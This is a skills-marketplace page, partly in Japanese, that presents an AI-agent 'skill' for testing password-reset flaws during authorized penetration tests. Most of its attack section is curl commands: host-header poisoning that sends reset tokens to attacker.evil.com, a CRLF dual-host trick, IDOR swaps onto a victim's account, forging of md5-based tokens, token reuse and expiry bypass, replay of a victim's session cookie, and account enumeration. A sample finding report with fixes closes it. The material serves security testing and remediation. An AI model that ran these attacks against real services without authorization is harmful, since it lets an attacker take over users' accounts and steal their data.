メニュー
Identifying and exploiting weaknesses in password reset flows including weak reset tokens, host header poisoning, IDOR on the identification parameter, missing session invalidation, and account enumeration.
デフォルトでは、最初にソースを確認する Prompt が選択されています。直接コマンドに切り替えるか、ローカルコピーをダウンロードすることもできます。
インストールを決める前に、SKILL.md と SkillsMP に表示されている付属ファイルをお読みください。
Codex または Claude でインストール この Prompt をコピーして Codex、Claude、または他のアシスタントに貼り付けると、Skill ページを確認してインストールできます。
直接コマンドでは確認用 Prompt が省略されます。実行前にソースを確認してください。
npx skills add https://github.com/xalgord/xalgorix --skill testing-password-reset-flawsコマンドは1行のまま表示されます。コピー前に横へスクロールして全体を確認してください。
ローカルで確認しますか？SkillsMP が現在取得できるファイルをダウンロードできます。
Detecting and exploiting HTTP request smuggling vulnerabilities caused by Content-Length and Transfer-Encoding parsing discrepancies between front-end and back-end servers.
Identifying and exploiting OAuth 2.0 and OpenID Connect misconfigurations including redirect URI manipulation, token leakage, and authorization code theft during security assessments.
Identifying and exploiting dangling DNS records pointing to unclaimed cloud services, enabling subdomain takeover for phishing, cookie stealing, and authentication bypass during authorized penetration tests.
SOC 職業分類に基づく
SKILL.md を表示中
| name | testing-password-reset-flaws |
| description | Identifying and exploiting weaknesses in password reset flows including weak reset tokens, host header poisoning, IDOR on the identification parameter, missing session invalidation, and account enumeration. |
| domain | cybersecurity |
| subdomain | web-application-security |
| tags | ["penetration-testing","password-reset","host-header-injection","account-takeover","idor","owasp","web-security"] |
| version | 1.0 |
| author | xalgorix |
| license | Apache-2.0 |
| nist_csf | ["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"] |
Password reset is one of the most reliable account-takeover surfaces. For every reset flow, work through this checklist:
Host: or X-Forwarded-Host: attacker.com (also try
X-Forwarded-Server, X-Host, dangling Host: target.com:@attacker.com,
absolute request line). If the emailed link points to attacker.com/reset?token=...,
the victim's token is exfiltrated when they click — zero-interaction takeover.user, email, user_id, or account alongside the token. Swap it to the
victim while keeping your own valid token to set the victim's password.http://, leaking the token over
cleartext and via referrers.expires=/ts=/timestamp= that the server trusts — tamper the value to
resurrect an expired token.Referer to third-party
assets loaded on the reset page, and in browser history / server logs.Walk the full flow and record every parameter and the email link structure.
# 1) Request a reset for an account you control; capture the request
curl -s -i -X POST "https://target.example.com/api/password/forgot" \
-H "Content-Type: application/json" \
-d '{"email":"attacker@yourinbox.com"}'
# 2) Read the email you receive and note the link shape, e.g.:
# https://target.example.com/reset?token=8f2a9c...&user=1337
# (record token length/charset and any user/email/expires params)
# 3) Capture the confirm/submit request that actually sets the new password
curl -s -i -X POST "https://target.example.com/api/password/reset" \
-H "Content-Type: application/json" \
-d '{"token":"8f2a9c...","user":1337,"password":"NewPassw0rd!"}'
Force the emailed link to point at an attacker-controlled host.
# Variant A: override the Host header outright
curl -s -i -X POST "https://target.example.com/api/password/forgot" \
-H "Host: attacker.evil.com" \
-H "Content-Type: application/json" \
-d '{"email":"victim@corp.com"}'
# Variant B: X-Forwarded-Host (and siblings) behind a proxy
curl -s -i -X POST "https://target.example.com/api/password/forgot" \
-H "Host: target.example.com" \
-H "X-Forwarded-Host: attacker.evil.com" \
-H "Content-Type: application/json" \
-d '{"email":"victim@corp.com"}'
# Other headers/tricks to try one at a time:
# X-Forwarded-Server: attacker.evil.com
# X-Host: attacker.evil.com
# X-Forwarded-Host: attacker.evil.com, target.example.com
# Host: target.example.com:@attacker.evil.com
# Host: target.example.com\n\rHost: attacker.evil.com (CRLF dual host)
# RESULT: inspect the victim's email (or your Collaborator/catch-all). If the
# reset link reads https://attacker.evil.com/reset?token=... the token is
# delivered to you when the victim clicks => account takeover.
Determine whether tokens are predictable or guessable.
# Rapidly request many resets and diff the tokens
for i in $(seq 1 20); do
curl -s -X POST "https://target.example.com/api/password/forgot" \
-H "Content-Type: application/json" \
-d '{"email":"attacker+'"$i"'@yourinbox.com"}' >/dev/null
# then read each email and append the token to tokens.txt
done
# Look for structure:
# - incrementing integers / counters
# - unix timestamps or millisecond clocks (predict from request time)
# - short hex/base36 (brute forceable)
# - md5(email) or md5(userid) style (forgeable offline)
# Statistical entropy on captured tokens with Burp Sequencer:
# Burp > send a forgot-password response containing the token to Sequencer
# > Live capture thousands > Analyze for low effective bits / patterns.
# If md5/sha of a known value is suspected, confirm:
echo -n "victim@corp.com" | md5sum
# compare to the victim's observed/derived token
Reset another user's password using your own valid token.
# Use a VALID token issued to YOUR account, but change the user/email param
# on the confirm step to the victim. If the server keys off the param instead
# of binding the token to the account, the victim's password is set.
curl -s -i -X POST "https://target.example.com/api/password/reset" \
-H "Content-Type: application/json" \
-d '{"token":"<YOUR_VALID_TOKEN>","user":4242,"password":"Pwned123!"}'
# Variations to test:
# {"token":"<YOURS>","email":"victim@corp.com","password":"Pwned123!"}
# /api/password/reset?token=<YOURS>&user_id=4242 (param in query)
# parameter pollution: user=<you>&user=<victim>
# add the victim id in a header the backend trusts (X-User-Id: 4242)
# Confirm by logging in as the victim with the new password.
Test single-use semantics and link-expiry trust.
# --- Reuse after a successful reset ---
# Complete a reset with a token, then submit the SAME token again:
curl -s -i -X POST "https://target.example.com/api/password/reset" \
-H "Content-Type: application/json" \
-d '{"token":"8f2a9c...","password":"Again123!"}'
# 200 = token not invalidated after use (reusable).
# --- Expiry bypass via date/time parameter ---
# If the link is .../reset?token=...&expires=1716000000 and the server trusts
# the param, push it into the future to revive an expired token:
curl -s -i "https://target.example.com/reset?token=OLD_EXPIRED&expires=9999999999"
# Also try removing the expires/ts param, or setting it to a far-future epoch.
# --- No session invalidation after reset ---
# Capture a victim session cookie BEFORE reset, perform the reset, then replay:
curl -s -o /dev/null -w "%{http_code}\n" \
-H "Cookie: SESSIONID=victim-old..." \
"https://target.example.com/account" # 200 = old session survives reset
Check disclosure side-channels and transport security.
# --- Account enumeration via differing responses ---
# Existing vs non-existing account: compare body, status, and timing.
curl -s -o /dev/null -w "exists: %{http_code} %{time_total}\n" \
-X POST "https://target.example.com/api/password/forgot" \
-H "Content-Type: application/json" -d '{"email":"real@corp.com"}'
curl -s -o /dev/null -w "missing: %{http_code} %{time_total}\n" \
-X POST "https://target.example.com/api/password/forgot" \
-H "Content-Type: application/json" -d '{"email":"nobody-xyz@corp.com"}'
# Different message ("email sent" vs "no account"), code, or a consistent
# timing gap => username enumeration.
# --- Reset link over HTTP ---
# Inspect the emailed link scheme; http:// leaks the token over cleartext.
# --- Token leakage via Referer to third parties ---
# Load the reset page through Burp and check outbound requests: if the page
# embeds external analytics/fonts/images, the Referer header carries
# ...?token=... to those third-party domains, leaking the token.
| Concept | Description |
|---|---|
| Host Header Poisoning | Server builds the reset link from a client-controlled Host/X-Forwarded-Host, sending the token to an attacker domain |
| Token Entropy | Unpredictability of the reset token; low entropy or structure enables guessing/forgery |
| Sequential Tokens | Tokens derived from counters/timestamps that can be predicted from a known value |
| Single-Use Semantics | A reset token must be invalidated immediately after one successful use |
| Identification-Parameter IDOR | Token not bound to the account; swapping user/email resets another user |
| Session Invalidation | All sessions and other outstanding tokens must be revoked when a password changes |
| Expiry Trust | Server trusting a client-supplied expires/ts param instead of server-side state |
| Account Enumeration | Differing reset responses/timing reveal which emails are registered |
| Token Leakage | Reset token exposed via HTTP transport, Referer to third parties, logs, or history |
| Tool | Purpose |
|---|---|
| Burp Suite Professional | Intercept/modify reset requests, inject Host headers, replay tokens |
| Burp Sequencer | Measure reset-token entropy across many captured samples |
| Burp Collaborator / catch-all domain | Observe poisoned reset links landing on an attacker host |
| Burp Intruder / ffuf | Brute force short/sequential tokens and enumerate accounts |
| curl / httpie | Manual Host-header injection, IDOR parameter swaps, token replay |
| OWASP ZAP | Free proxy alternative for header tampering and fuzzing |
The application generates the reset link using the incoming X-Forwarded-Host header. An attacker submits a reset for the victim with X-Forwarded-Host: attacker.com; the victim receives an email whose link points to attacker.com/reset?token=.... Clicking it leaks the token, enabling takeover.
The reset confirm endpoint accepts {"token":..., "email":...} but only validates that the token is non-expired, not that it belongs to that email. An attacker uses their own valid token with the victim's email to set the victim's password.
Reset tokens are md5(email + small_counter). After observing the structure from their own resets, the attacker computes the victim's token offline and resets without any email access.
After a reset, the old token still works and the victim's pre-reset sessions remain valid, so a previously stolen session or a re-sent token retains access.
## Password Reset Finding
**Vulnerability**: Account Takeover via Host Header Poisoning
**Severity**: Critical (CVSS 9.1)
**Location**: POST /api/password/forgot (reset link generation)
**OWASP Category**: A07:2021 - Identification and Authentication Failures
### Reproduction Steps
1. Send POST /api/password/forgot for victim@corp.com with header X-Forwarded-Host: attacker.evil.com
2. Observe (via catch-all/Collaborator) the victim's reset email links to https://attacker.evil.com/reset?token=...
3. When the victim opens the link, the token is delivered to the attacker host
4. Replay the token against POST /api/password/reset to set a new password and log in as the victim
### Tested Weaknesses
| Test | Result |
|------|--------|
| Host / X-Forwarded-Host poisoning | Link host attacker-controlled |
| Identification-param IDOR | email param swappable |
| Token reuse after success | Reusable |
| Session invalidation after reset | Old sessions survive |
| Account enumeration | Distinct message for unknown email |
| Reset link transport | http:// (token in cleartext) |
### Impact
- Zero-to-one-click account takeover of any user by email address
- Reusable tokens and surviving sessions defeat remediation
- Enumeration enables targeted attacks at scale
### Recommendation
1. Build reset links from a server-side allowlisted canonical host; ignore Host/X-Forwarded-Host
2. Bind the token to the account server-side; never trust client user/email/expires params
3. Generate 128-bit CSPRNG tokens, single-use, short-lived, delivered only over HTTPS
4. Invalidate all sessions and outstanding tokens on successful reset
5. Return an identical, generic response for existing and non-existing accounts